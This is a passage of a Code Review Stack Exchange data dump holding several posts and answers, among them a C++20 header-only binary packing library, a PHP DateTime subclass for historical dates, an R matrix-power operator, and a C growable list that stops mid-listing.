href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#c120-use-class-hierarchies-to-represent-concepts-with-inherent-hierarchical-structure-only\" rel=\"nofollow noreferrer\">C.120</a> for further guidance.</p>\n<h2>Don't use all caps for enum name</h2>\n<p>ALL CAPS have been traditionally used for macros. To avoid misleading the reader, don't use them if it's not a macro. See <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#es9-avoid-all_caps-names\" rel=\"nofollow noreferrer\">ES.9</a>.</p>\n<h2>Fix the spelling</h2>\n<p>If the machine has "breaks" it is broken. If it has "brakes" it has the ability to slow down. These homonyms are easily confused, but it's important to make sure you don't have spelling errors, especially in interface code, so that you don't confuse users of your code.</p>\n<h2>Consider combining error codes</h2>\n<p>It appears that you are intending to have non-overlapping and unique error codes for each type of error, but that is not assured because the errors are in three different <code>enum</code> classes. I'd suggest combining them.</p>\n<h2>Reconsider your classes</h2>\n<p>If the error codes were combined, as suggested above, then the differentiation among them would be by the error code. Having different classes doing <em>exactly</em> the same thing makes little sense to me. I'd suggest a single error class derived from <code>std::error_category</code> would be sufficient.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-07T16:05:39.463",
"Id": "504663",
"Score": "0",
"body": "Thank you very much, for your time! When it comes to the enum names should I go for \"FailedToInitBrakes\" ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-07T18:53:31.873",
"Id": "504675",
"Score": "1",
"body": "Yes that `enum` seems fine."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T16:02:24.553",
"Id": "255569",
"ParentId": "255226",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255569",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T17:32:52.527",
"Id": "255226",
"Score": "3",
"Tags": [
"c++",
"error-handling"
],
"Title": "C++ custom exception handling using std::error_category and std::system_error"
}
|
255226
|
<h1>About</h1>
<p>I'm writing a header-only template library for helping with binary IO. It is inspired by <a href="https://robik.github.io/pack-d/pack-unpack/" rel="nofollow noreferrer">pack-d</a>, which is in turn inspired by <a href="https://docs.python.org/3/library/struct.html" rel="nofollow noreferrer">Python's struct module</a>. I've only finished the output part and posted it here for review. You can find the source (~300 lines of code) at the bottom of the post.</p>
<p>It's basically like a <code>printf</code> for binary IO and packs its arguments into a byte stream depending on the format string. The stream can be a memory stream backed by a <code>std::vector</code> of bytes, or represent packing directly to a file, however you wish. It supports extension for user types.</p>
<p>For implementation I've used c++20 and modern C++ features (such as concepts and <code>constexpr if</code>). The code compiles without warnings using g++ 10.2 and clang++ 11 with flags <code>-std=c++20 -Wall -Wpedantic -Wextra</code>. There are no dependencies outside of the standard library.</p>
<p>I'm writing it primarily for learning purposes, and for myself to use; though I'd be happy to publish it if others find it useful. I like this interface, and I didn't come across anything similar for C++ except <a href="https://github.com/svperbeast/struct" rel="nofollow noreferrer">this</a> which is for C, and uses C-style variadics instead of variadic templates, and I don't think it's extendable for user types.</p>
<p>I am interested in any constructive criticism or opinion you have to offer. The code works for the simple cases I've thrown at it, but it is possible it is buggy for complicated ones. Also one of my goals is for the code generated by template expansion to be as close as possible performance-wise to hand-written code based on <code>fwrite</code>. I'm also interested if any other modern C++ features would fit this kind of thing better than the way I've chosen to implement it.</p>
<h1>Usage</h1>
<pre class="lang-cpp prettyprint-override"><code>// 6 byte string followed by null-byte
ctx.packf("6Bx", "Hello!"); // --> "Hello\0"
// You can control endianness
// (also whitespace in the format string is ignored)
ctx.packf(">I 3x <I", 0xdeadbeef, 0xbaadf00d); // --> 0x deadbeef 00 00 00 0df0adba
// You can pack structs raw
struct S {
uint8_t x;
uint32_t y;
};
// Pad bytes are packed, and endianness option has no effect
ctx.packf(">r", S{ 0xff, 0xbaadc0de }); // --> 0x ff __ __ __ de c0 ad ba
// But you can also extend the system by specializing pack_custom
void pack_custom(auto& ctx, const S& s) {
ctx.packf("BI", s.x, s.y);
}
// And then use generic packing
ctx.packf(">g", S{ 0xff, 0xbaadc0de }); // --> 0x ff ba ad c0 de
// Arrays are supported, by supplying either a constant width (see first example)
// or passing a width as a parameter
std::vector<S> v{ S{ 0xaa, 0xbaadc0de }, S{ 0xbb, 0xdeadbeef } };
ctx.packf(">*g", v.size(), v.data()); // --> 0x aa baadc0de bb deadbeef
// Or you can just specialize pack_custom for vectors as well
void pack_custom(auto& ctx, const std::vector<auto>& v) {
// First pack the size as a 32-bit int, then the data generically
ctx.packf("I*g", v.size(), v.size(), v.data());
}
// Then just call
ctx.packf(">g", v); // --> 0x 00000002 aa baadc0de bb deadbeef
ctx.packf("<g", v); // --> 0x 02000000 aa dec0adba bb efbeadde
// For basic types, "g" defaults to infering the type
// and packing as you'd expect for arithmetic types
// and packing raw for structs that don't have pack_custom
uint16_t a = 0xdead;
uint16_t b = 0xbeef;
ctx.packf("<gg", a, b); // --> 0x adde efbe
// And if all your format specifier are generic you can drop the format string
ctx.packf("gg", a, b)
// is the same as
ctx.pack(a, b)
// as well as this (you have to cast the literals in this case though)
ctx.pack((uint16_t)0xdead, (uint16_t)0xbeef)
// There's also ctx.packle(...) and ctx.packbe(...) for specifying endianness
// without the use of a format string.
</code></pre>
<p>The user needs to have a stream type that implements a <a href="https://linux.die.net/man/3/fwrite" rel="nofollow noreferrer"><code>fwrite</code></a>-style method. A context is then created to wrap this stream type. All the packing functions are methods of the context object.</p>
<pre class="lang-cpp prettyprint-override"><code>struct File_Stream {
FILE *fp;
size_t write(const void *ptr, size_t size, size_t nmemb) {
return fwrite(ptr, size, nmemb, fp);
}
};
FILE *fp = fopen("test.bin", "wb");
pack::Context ctx(File_Stream{fp});
// Use pack functions here
// ...
fclose(fp);
</code></pre>
<h1>Implementation notes</h1>
<p>The standard packing for arithmetic types is a case like <code>packf("4B", b)</code>, and the meaning depends on the type of <code>b</code>.</p>
<ul>
<li>If <code>b</code> is a <code>uint8_t</code> or convertible to <code>uint8_t</code>, it means pack b (converted if necessary to <code>uint8_t</code>), repeating it 4 times.</li>
<li>If <code>b</code> is a pointer to a <code>uint8_t</code> or to a type convertible to <code>uint8_t</code> it treats <code>b</code> as an array and packs 4 of its elements (converted if necessary to <code>uint8_t</code>)</li>
</ul>
<p>Both cases are handled by the function <code>pack_helper<TPack_As, T></code>, where <code>TPack_As</code> depends on the format specifier (in this case it's <code>uint8_t</code> because of the <code>B</code>), and <code>T</code> is whatever the type of <code>b</code> is.</p>
<p>If necessary, standard packing will also do endian conversion.</p>
<p>The function <code>pack_raw</code> handles the packing of raw data, and the function <code>pack_generic</code> decides which packing mode to use (custom, raw, or standard) in the generic case.</p>
<p>Whenever possible, if no endian conversion is necessary for example, the implementation tries to pack arrays of data to the stream all at once instead of one at a time (see the implementation of <code>pack_array_endian</code>).</p>
<p>The error handling is a WIP. For now I just throw <code>runtime_error</code> or <code>logic_error</code> whenever an error occurs. I plan to create my own exception classes which will also carry context information (such as how many bytes were packed when the error occured, and how many parameters were parsed).</p>
<p>I am also considering implementing convenience functions such as:</p>
<pre class="lang-cpp prettyprint-override"><code> void fpackf(FILE *fp, const char *format, const auto& value, auto... args);
vector<uint8_t> vpackf( const char *format, const auto& value, auto... args);
</code></pre>
<p>which wrap context creation for typical usage.</p>
<h1>Code</h1>
<pre class="lang-cpp prettyprint-override"><code>#pragma once
#include <type_traits>
#include <concepts>
#include <stdexcept>
#include <bit>
#include <string>
namespace pack {
using std::runtime_error;
using std::logic_error;
using std::convertible_to;
using std::same_as;
using std::remove_reference_t;
using Endian = std::endian;
// Utility concepts
template <typename T> concept Pointer = std::is_pointer<T>::value;
template <typename T> concept Array = std::is_array<T>::value;
template <typename T> concept Arithmetic = std::is_arithmetic<T>::value;
// Pack requires a fwrite-like interface
template <typename TStream>
concept Stream = requires(TStream stream, const void *ptr, size_t size, size_t nmemb) {
{ stream.write(ptr, size, nmemb) } -> convertible_to<size_t>;
};
// The extension mechanism
template <typename TContext, typename T>
concept Custom_Packable = requires(TContext& ctx, const T& a) {
{ pack_custom(ctx, a) };
};
template <Stream TStream>
struct Context {
private:
TStream& stream;
Endian endian = Endian::native;
size_t len = 1; // Repetition/array count
public:
Context(TStream& s): stream(s) {}
private:
void skip() {
uint8_t x = 0;
for (size_t i=0; i<len; ++i) {
stream.write(&x, 1, sizeof x);
}
}
void pack_value(const auto& value) {
size_t n = stream.write(&value, sizeof value, 1);
if (n != 1) {
throw runtime_error("Failed writing to stream.");
}
}
void pack_array(const auto& array) {
size_t n = stream.write(array, sizeof array[0], len);
if (n != len) {
throw runtime_error("Failed writing to stream.");
}
}
// Just packs raw data.
// Will not consider pad bytes inside structs or endianness conversions.
template <typename T>
void pack_raw(const T& data) {
if constexpr (Pointer<T> || Array<T>) {
pack_array(data);
} else {
pack_value(data);
}
}
template <Arithmetic TFrom, Arithmetic TTo>
TTo transmute(TFrom x) {
return *(reinterpret_cast<TTo*>(&x));
}
template <Arithmetic T>
void pack_value_endian(const T& value) {
if (endian != Endian::native) {
if constexpr (sizeof(T) == 1) {
pack_value(value);
} else if constexpr (sizeof(T) == 2) {
pack_value(__builtin_bswap16(transmute<T,uint16_t>(value)));
} else if constexpr (sizeof(T) == 4) {
pack_value(__builtin_bswap32(transmute<T,uint32_t>(value)));
} else if constexpr (sizeof(T) == 8) {
pack_value(__builtin_bswap64(transmute<T,uint64_t>(value)));
} else {
throw logic_error("Cannot perform endian conversion on this type.");
}
} else {
pack_value(value);
}
}
template <typename T>
void pack_array_endian(const T& array) {
if (endian != Endian::native) {
for (size_t i=0; i<len; ++i) {
pack_value_endian(array[i]);
}
} else {
pack_array(array);
}
}
template<Arithmetic TPack_As, typename T>
void pack_helper(const T& data) {
if constexpr (convertible_to<T, TPack_As>) {
for (size_t i=0; i<len; ++i) {
pack_value_endian(static_cast<TPack_As>(data));
}
} else if constexpr (same_as<T, TPack_As*> || same_as<T, TPack_As[]>) {
pack_array_endian(data);
} else if constexpr (Pointer<T> || Array<T>) {
using TElem = decltype(data[0]);
if constexpr (convertible_to<TElem, TPack_As>) {
for (size_t i=0; i<len; ++i) {
pack_value_endian(static_cast<TPack_As>(data[i]));
}
} else {
throw logic_error("Type not convertible.");
}
} else {
throw logic_error("Type not convertible.");
}
}
// Decides whether to use pack_raw, pack_helper or pack_custom
template <typename T>
void pack_generic(const T& data) {
using TContext = remove_reference_t<decltype(*this)>;
if constexpr (Arithmetic<T>) {
pack_helper<T>(data);
} else if constexpr (Custom_Packable<TContext, T>) {
for (size_t i=0; i<len; ++i) {
size_t len_save = len; // Save state prior to pack_custom call
Endian endian_save = endian;
len = 1; // Reset len to 1 for pack_custom
pack_custom(*this, data);
len = len_save; // Restore state prior to pack_custom call
endian = endian_save;
}
} else if constexpr (Pointer<T> || Array<T>) {
using TElem = remove_reference_t<decltype(data[0])>;
if constexpr (Arithmetic<T>) {
pack_helper<TElem>(data);
} else if constexpr (Custom_Packable<TContext, TElem>) {
for (size_t i=0; i<len; ++i) {
size_t len_save = len; // Save state
Endian endian_save = endian;
len = 1; // Reset len
pack_custom(*this, data[i]);
len = len_save; // Restore state
endian = endian_save;
}
} else {
pack_raw(data);
}
} else {
pack_raw(data);
}
}
public:
void pack() {}
void pack(const auto& value, auto... args) {
pack_generic(value);
pack(args...);
}
void packle(const auto& value, auto... args) {
endian = Endian::little;
pack_generic(value);
pack(args...);
}
void packbe(const auto& value, auto... args) {
endian = Endian::big;
pack_generic(value);
pack(args...);
}
void packne(const auto& value, auto... args) {
if (Endian::native == Endian::little) {
endian = Endian::big;
} else {
endian = Endian::little;
}
pack_generic(value);
pack(args...);
}
void packf(const char *format) {
while (*format) {
switch (*format) {
case '>': endian = Endian::big; format++; continue;
case '<': endian = Endian::little; format++; continue;
case '=': endian = Endian::native; format++; continue;
case '!': endian = (Endian::native == Endian::little)
? Endian::big
: Endian::little;
format++; continue;
case '0': case '1': case '2':
case '3': case '4': case '5':
case '6': case '7': case '8':
case '9': {
char *endptr;
len = static_cast<size_t>( strtol(format, &endptr, 10) );
format = endptr;
continue;
}
case ' ': case '\t': case '\n': ++format; continue;
case 'B': throw logic_error("Not enough arguments for format string.");
case 'H': throw logic_error("Not enough arguments for format string.");
case 'I': throw logic_error("Not enough arguments for format string.");
case 'L': throw logic_error("Not enough arguments for format string.");
case 'b': throw logic_error("Not enough arguments for format string.");
case 'h': throw logic_error("Not enough arguments for format string.");
case 'i': throw logic_error("Not enough arguments for format string.");
case 'l': throw logic_error("Not enough arguments for format string.");
case 'f': throw logic_error("Not enough arguments for format string.");
case 'd': throw logic_error("Not enough arguments for format string.");
case 'r': throw logic_error("Not enough arguments for format string.");
case 'g': throw logic_error("Not enough arguments for format string.");
case '*': throw logic_error("Not enough arguments for format string.");
case 'x': skip(); break;
default:
throw logic_error("Unexpected character (" + std::string{*format} + ") in format string.");
}
len = 1;
packf(++format);
return;
}
}
void packf(const char *format, const auto& value, auto... args) {
while (*format) {
switch (*format) {
case '>': endian = Endian::big; format++; continue;
case '<': endian = Endian::little; format++; continue;
case '=': endian = Endian::native; format++; continue;
case '!': endian = (Endian::native == Endian::little)
? Endian::big
: Endian::little;
format++; continue;
case '0': case '1': case '2':
case '3': case '4': case '5':
case '6': case '7': case '8':
case '9': {
char *endptr;
len = static_cast<size_t>( strtol(format, &endptr, 10) );
format = endptr;
continue;
}
case ' ': case '\t': case '\n': ++format; continue;
case 'B': pack_helper<uint8_t> (value); break;
case 'H': pack_helper<uint16_t>(value); break;
case 'I': pack_helper<uint32_t>(value); break;
case 'L': pack_helper<uint64_t>(value); break;
case 'b': pack_helper<int8_t> (value); break;
case 'h': pack_helper<int16_t> (value); break;
case 'i': pack_helper<int32_t> (value); break;
case 'l': pack_helper<int64_t> (value); break;
case 'f': pack_helper<float> (value); break;
case 'd': pack_helper<double> (value); break;
case 'r': pack_raw (value); break;
case 'g': pack_generic (value); break;
case 'x': skip(); len=1; format++; continue;
case '*': {
if constexpr (convertible_to<decltype(value), size_t>) {
len = static_cast<size_t>(value);
packf(++format, args...);
return;
} else {
throw logic_error("Invalid size type.");
}
}
default:
throw logic_error("Unexpected character (" + std::string{*format} + ") in format string.");
}
len = 1;
packf(++format, args...);
return;
}
throw logic_error("Too many arguments for format string.");
}
};
} // end namespace pack
</code></pre>
|
[] |
[
{
"body": "<p>Just a few remarks, not a full review of the code:</p>\n<h1>Don't make endianness stateful</h1>\n<p>You are making the endianness part of the state of a context. Stateful APIs are harder to reason about and cause issues with composability. For example, consider that I would write:</p>\n<pre><code>ctx.packle(123, 456); // Store little-endian\nsome_helper_func(ctx); // Stores some stuff as well\nctx.pack(13, 42); // ???\n</code></pre>\n<p>The function <code>some_helper_func()</code> doesn't know the state of the endianness, so it would have to explicitly set the endianness at least once. And upon return, the endianness might have changed, so the caller has to know what endianness <code>some_helper_func()</code> has set the context to, or also explicitly set the endianness itself. It's easy to make a change to one function and suddenly get the wrong behaviour in another function this way.</p>\n<p>I would advise you to make endianness changes last only for the duration of a single function call. This is also what pack-d does. If you want to be able to set the state once, I would recommend only allowing that to be done via the constructor, and have that last for the whole lifetime of the context, since it is very unlikely that you will ever want to mix endianness in the same document/stream.</p>\n<h1>Use <code>std::bit_cast<>()</code></h1>\n<p>Your function <code>transmute()</code> is unsafe, since it is possible for the input to have a different alignment than the one required for the output. C++20 provides you with a function that already does exactly what you need here: <a href=\"https://en.cppreference.com/w/cpp/numeric/bit_cast\" rel=\"nofollow noreferrer\"><code>std::bit_cast<>()</code></a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T08:59:22.860",
"Id": "503555",
"Score": "0",
"body": "I wasn't aware of a standard library function for bitcasting and I'll switch to it, but would you also care to elaborate how there could be alignment issues when I only bit cast between arithmetic types of the same size. That should mean they have the same aligment, right?\n\nWhat would you think about a redesign where the pack functions operate directly on the stream (as a parameter), and pass around a struct with context data (again as a parameter)? That way the functions that the user initially calls, could set up their own context and call the internal functions to do the work."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T09:04:03.963",
"Id": "503556",
"Score": "0",
"body": "The bitcasting is only there actually for the `float`/`double` to `uint32_t`/`uint64_t` situation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T18:49:55.583",
"Id": "503613",
"Score": "0",
"body": "But what if I have an array of 4 bytes (say, the IP address portion in a network packet), and try to pack it using `packf(\"I\", array)`? The IP address might not be aligned to 4 bytes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T19:19:15.410",
"Id": "503615",
"Score": "0",
"body": "The way the code works it wouldn't work like that. Since you passed an array, it would print `len` elements (since you didn't specify the length, it would print one element), and since the specifier is `I` it would print the first element/byte `static_cast`-ed to `uint32_t`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T20:36:45.663",
"Id": "503618",
"Score": "0",
"body": "What if the array is in a struct of its own, like `class IPv4 { std::array<uint8_t, 4> address; }`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T20:44:42.083",
"Id": "503619",
"Score": "0",
"body": "Using raw packing, it would work just as if you passed the address to `IPv4` and it's size to `fwrite`. It would pack the raw bytes including padding etc.. Using generic packing, you specialize a function and you decide what happens explicitly. If you try to pass it with a format specifier like `I`, it would fail because you can't `static_cast` it to `uint32_t`. That's the way I planned it out so far. Do you think it's not intuitive?"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T21:11:49.310",
"Id": "255233",
"ParentId": "255228",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T18:24:59.320",
"Id": "255228",
"Score": "5",
"Tags": [
"c++",
"io",
"template-meta-programming",
"c++20",
"binary"
],
"Title": "Binary IO inspired by struct pack"
}
|
255228
|
<p>This class is intended to fulfill these requirements:</p>
<ol>
<li>Output in Y-m-d H:i:s format</li>
<li>Allow dates to be entered as m-d-Y or m-d-y</li>
<li>Complain if an invalid birthdate is entered (i.e., in the future or otherwise)</li>
<li>Allow simpler, friendlier coding without typing a lengthy DateTime instantiation</li>
</ol>
<pre><code><?php
/**
* CustomDateTime with historical conversion and statically called methods
*
* European order d-m-y is not supported, and assumed to be m-d-Y.
* (converted to American m/d/y)
*
* Adds `historical()` method which throws a range exception if a date is not
* in the past. YY dates are forced to the past.
*
* Adds several static methods for easier writing and less cognitive effort
* (CustomDateTime::now() vs (new DateTim())->format('Y-m-d H:i:s'))
*
*/
class CustomDateTime extends DateTime
{
/**
* Holds the original constructor string
* @var string
*/
public $time;
/**
* __construct accepts exactly the same parameters as the DateTime object
*
* European order d-m-y is not supported, and m-d-Y is converted to m/d/Y.
*
* @param string $time Just about any English textual datetime description
* @param DateTimeZone|null $timezone A DateTimeZone object representing the timezone of $time.
*/
public function __construct(string $time="now", DateTimeZone $timezone = null)
{
$this->time = str_replace(
['-','.'],
'/',
substr($time, 0, 10)
) . substr($time, 10 );
parent::__construct($this->time, $timezone);
}
/**
* Convert to Historical Date (static method)
*
* Static method to access instantiated version (historical())
*
* @param string $date m/d/Y, Y-m-d, '', null
* @return string Y-m-d or null if no value given
*/
public static function asHistorical($date) : ?string
{
if(empty($date)) { return null; }
return (new CustomDateTime($date))->historical()->format('Y-m-d');
}
/**
* Historical (instantiated)
*
* Originally was intended to prevent birthdates in the future.
*
* Silently corrects 2 digit year to a date in the past
* Throws `RangeException` if date is more than 100 years in the future.
*
* @return CustomDateTime instance, which allows chaining of methods
*/
public function historical() : CustomDateTime
{
$now = (new DateTime())->format('Y-m-d');
// if a two-digit year was converted to the future, subtract 100 years
if(
preg_match("@^[0-9]{1,2}/[0-9]{1,2}/[0-9]{2}$@", $this->time) &&
$this->format('Y-m-d') > $now
) {
$this->modify('-100 years');
}
if( $this->format('Y-m-d') > $now) {
throw new RangeException('Date is too far in the future');
}
return $this;
}
/**
* Return Database Safe date
*
* This avoids passing '' to database, replacing it with null
*
* @param string $date m/d/Y, Y-m-d, '', null
* @return string Y-m-d or null if no value given
*/
public static function dbSafe($date) : ?string
{
if(empty($date)) { return null; }
return (new CustomDateTime($date))->format('Y-m-d');
}
public static function now() : string
{
return (new DateTime())->format('Y-m-d H:i:s');
}
public static function today() : string
{
return (new DateTime())->format('Y-m-d');
}
}
?>
Examples:
Short version: historical date... 3-4-30 = <?= CustomDateTime::asHistorical('3-4-30') ?>
Long version: historical date.... 3-4-30 = <?= (new CustomDateTime('3-4-30'))->historical()->format('Y-m-d') ?>
DateTime uses European format.... 3-4-30 = <?= (new DateTime('3-4-30'))->format('m/d/Y') ?>
DateTime splits century.......... 3-4-30 = <?= (new DateTime('3/4/30'))->format('m/d/Y') ?>
Bonus:
Easily get "now"................. <?= CustomDateTime::now() ?>
</code></pre>
|
[] |
[
{
"body": "<p>I don't know if I trust the string surgery being conducted in the constructor.</p>\n<p>Comments that I have since deleted under the question:</p>\n<ul>\n<li><p>Dates can be <code>m-d-y</code> like <code>12-31-20</code>, so I assume <code>12-31-20 12:59:59</code> is okay too, but then the first 10 characters is <code>12-31-20 1</code> -- that's going to make the intended logic in the constructor fail, right?</p>\n</li>\n<li><p>And your <code>preg_match()</code> call looks like you are accommodating <code>2-2-22</code> dates, so adding time to that in the constructor and extracting the first 10 digits would be <code>2-2-22 12:</code>.</p>\n</li>\n</ul>\n<p>Do I misunderstand the strings that your class is supposed to accommodate or is this a problem in your constructor?</p>\n<hr />\n<p>I recommend declaring a default value for the <code>$date</code> argument of <code>asHistorical()</code> and <code>dbSafe()</code>. With the variable sure to have a declared value, then <code>empty()</code> becomes an unnecessary function calls and you can just use a function-less falsey check. (I mean <code>empty()</code> does two things, it checks if a variable is not set and checks if it is falsey.) A single <code>return</code> is often considered the cleanest design. Example of <code>dbSafe()</code> with a truthy ternary condition:</p>\n<pre><code>public static function dbSafe(?string $date = null) : ?string\n{\n return $data ? (new CustomDateTime($date))->format('Y-m-d') : null;\n}\n</code></pre>\n<hr />\n<p>When writing regex, I prefer the more concise <code>\\d</code> over <code>[0-9]</code> character class.</p>\n<p>The use of <code>@</code> (non-slash character) is a good choice for pattern delimiter because it avoids the need for escaping slashes in the pattern.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T04:02:06.157",
"Id": "503543",
"Score": "0",
"body": "Thank you for looking it over. You correctly understood what the constructor is expected to handle; I see that I had a bit of tunnel vision... I was counting a 4 digit year. smh. Thanks for that catch. Nice cleanup on the `dbSafe` method too; now that I see it, it seems so obvious..."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T02:07:22.727",
"Id": "255240",
"ParentId": "255230",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255240",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T20:28:26.313",
"Id": "255230",
"Score": "0",
"Tags": [
"php",
"datetime"
],
"Title": "DateTime Extension for entering historical dates, i.e. birthdays"
}
|
255230
|
<p>After reading one too many Lisp books, I decided to try extending R's syntax. My goal was to implement repeated matrix multiplication in a way such that I could write <code>matrix%^%n</code> to produce the result from multiplying <code>matrix</code> by itself <code>n</code> times (where <code>n</code> is a natural number). I produced the following working code that gives the expected outputs, but found it unsatisfactory.</p>
<pre><code>`%^%`<-function(squareMat,exponent)
{
stopifnot(is.matrix(squareMat),is.numeric(exponent),exponent%%1==0)
out<-diag(nrow = nrow(squareMat))
for(i in seq_len(exponent)){out<-squareMat%*%out}
out
}
testMatrix<-matrix(c(0,10,20,30),2,2)
lapply(0:3,function(k) testMatrix%^%k)#tests
</code></pre>
<p>For the purposes of this question, I'm happy to ignore the contents of my <code>for</code> loop. I know that it's not optimised. What I'm more interested in investigating is if this was a prudent way to extend R's syntax. I have listed my objection to my code below. If they are valid, how can they be addressed?</p>
<ol>
<li>The method for checking if <code>exponent</code> is an integer is pathetic. <a href="https://stackoverflow.com/q/3476782/10319707">I don't think that doing better is possible</a>, but I would dearly love to be proven wrong.</li>
<li>My strongest objection is that I believe that this problem calls for an S3 or S4 solution, but I do not believe that one is possible. <code>isS4(testMatrix)</code> tells me that matrices are not S4 objects, ruling that out. S3 might be possible, but I'm unsure if this will make problem #1 even worse (because S3 is not very strict on types) or requiring risky hacking of the <code>matrix</code> type.</li>
<li>Because of problem #1, <code>stopifnot</code> does not throw useful error messages.</li>
<li>The job of throwing errors regarding the multiplication is delegated to <code>%*%</code>. I'm OK with that, but I don't know if I should be.</li>
<li>Again, ignoring the content of the <code>for</code> loop, was <code>for</code> actually the right thing to use? Is there something like an <code>apply</code> family function for "the index of my loop doesn't actually matter, I just want to run this code <code>seq_len(exponent)</code> times"?</li>
</ol>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:46:45.073",
"Id": "503586",
"Score": "1",
"body": "When I tagged this yesterday, we had an S3 tag. It's now being redirected to some Amazon stuff. I don't know why this is. Is there a better tag for R's OOP?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T20:59:04.093",
"Id": "255232",
"Score": "3",
"Tags": [
"object-oriented",
"matrix",
"r",
"macros"
],
"Title": "Was this an idiomatic and prudent way to extend R's matrix multiplication syntax? Should I have used R's object system?"
}
|
255232
|
<p>I'm experimenting with C after working in high level languages for the last 15+ years, and trying to feel comfortable with C code bases again.</p>
<p>One thing I needed for the code I'm writing was a resizable list collection that can grow as items are added to it. It seems to work under the basic case, so I'm wondering if I missed something in it.</p>
<p><strong>list.h</strong></p>
<pre><code>#ifndef CRENDERER_LIST_H
#define CRENDERER_LIST_H
#include <stddef.h>
/**
* Creates a new growable list
* @param initialCapacity how many items the list should initially have memory for
* @param itemSize The size of each item
* @return returns a pointer to the newly created list, or `NULL` if list creation failed
*/
void* kcr_list_create(int initialCapacity, size_t itemSize);
/**
* Appends a new item to the end of an existing list. If the list does not have the capacity for the item than
* the list will be resized to account for it.
* @param list Existing list to append the item onto
* @param item A pointer to the item to add to the list
* @param itemSize The memory size of the item to add. This must be the same as specified during creation
* @return returns a pointer to the latest location of the list. Consumers must always reference the list from
* the value returned and not re-use the previous pointer, as when the list grows it may end up in a new spot
* to accomodate the size it needed to grow into.
*
* Will return `NULL` if appending failed
*/
void* kcr_list_append(void* list, void* item, size_t itemSize);
/**
* Removes the item from the list at the specified index
* @param list list to remove the item from
* @param index Index of the item to remove
* @param itemSize The memory size of the items in the list
*/
void kcr_list_remove(void* list, int index, size_t itemSize);
/**
* Gets the number of items that exist in the list
* @param list The existing list
* @return Number of items in the list
*/
int kcr_list_length(const void* list);
/**
* Frees the list
*/
void kcr_list_free(void* list);
#endif //CRENDERER_LIST_H
</code></pre>
<p><strong>list.c</strong></p>
<pre><code>#include <malloc.h>
#include <mem.h>
#include <math.h>
#include "list.h"
#define MIN_GROWTH 10
#define RAW_LIST(list) ((int*) list) - 2
#define LIST_LEN(list) (RAW_LIST(list))[0]
#define LIST_CAP(list) (RAW_LIST(list))[1]
#define FIRST_ELEMENT(list) ((int*) list) + 2
void* kcr_list_create(int initialCapacity, size_t itemSize) {
int* memory = malloc(sizeof(int) * 2 + itemSize * initialCapacity);
if (memory == NULL) {
return NULL;
}
memory = FIRST_ELEMENT(memory);
LIST_LEN(memory) = 0;
LIST_CAP(memory) = initialCapacity;
return memory;
}
void *kcr_list_append(void *list, void *item, size_t itemSize) {
if (list == NULL) {
return NULL;
}
int capacity = LIST_CAP(list);
int count = LIST_LEN(list);
if (count + 1 > capacity) {
// Grow it by either 1.25x or by MIN_GROWTH items, whichever is larger. Item Minimum allows to keep a bunch of
// small growths reallocating.
int newCapacity = capacity + (int) roundf((float) capacity * 1.25f);
if (newCapacity < MIN_GROWTH) {
newCapacity = capacity + MIN_GROWTH;
}
int* newList = realloc(RAW_LIST(list), sizeof(int) * 2 + itemSize * newCapacity);
if (newList == NULL) {
return NULL;
}
list = FIRST_ELEMENT(newList);
LIST_CAP(list) = newCapacity;
}
void* slot = list + itemSize * count;
memcpy(slot, item, itemSize);
LIST_LEN(list) = count + 1;
return list;
}
void kcr_list_remove(void *list, int index, size_t itemSize) {
if (list == NULL || index < 0) {
return;
}
int count = LIST_LEN(list);
if (index >= count) {
return;
}
if (index < count - 1) {
// Not the last item, so shift everything after it over
void* slotToRemove = list + itemSize * index;
int itemsToShift = count - index - 1;
memmove(slotToRemove, slotToRemove + itemSize, itemsToShift * itemSize);
}
LIST_LEN(list) = count - 1;
}
int kcr_list_length(const void *list) {
if (list == NULL) {
return 0;
}
return LIST_LEN(list);
}
void kcr_list_free(void *list) {
if (list != NULL) {
free(RAW_LIST(list));
}
}
</code></pre>
<p><strong>Test Usage</strong></p>
<pre><code>int main() {
struct KCR_Vec3* vectors = kcr_list_create(5, sizeof(struct KCR_Vec3));
for (int x = 0; x < 30; x++) {
struct KCR_Vec3 vector = {(float) x, (float) x + 1, (float) x + 2};
struct KCR_Vec3* array = kcr_list_append(vectors, &vector, sizeof(struct KCR_Vec3));
if (array == NULL) {
fprintf(stderr, "Failed to add item #%i\n", x);
}
vectors = array;
}
kcr_list_remove(vectors, 10, sizeof(struct KCR_Vec3));
kcr_list_remove(vectors, 20, sizeof(struct KCR_Vec3));
for (int x = 0; x < kcr_list_length(vectors); x++) {
printf("Vector #%i: {%f, %f, %f}\n", x, vectors[x].x, vectors[x].y, vectors[x].z);
}
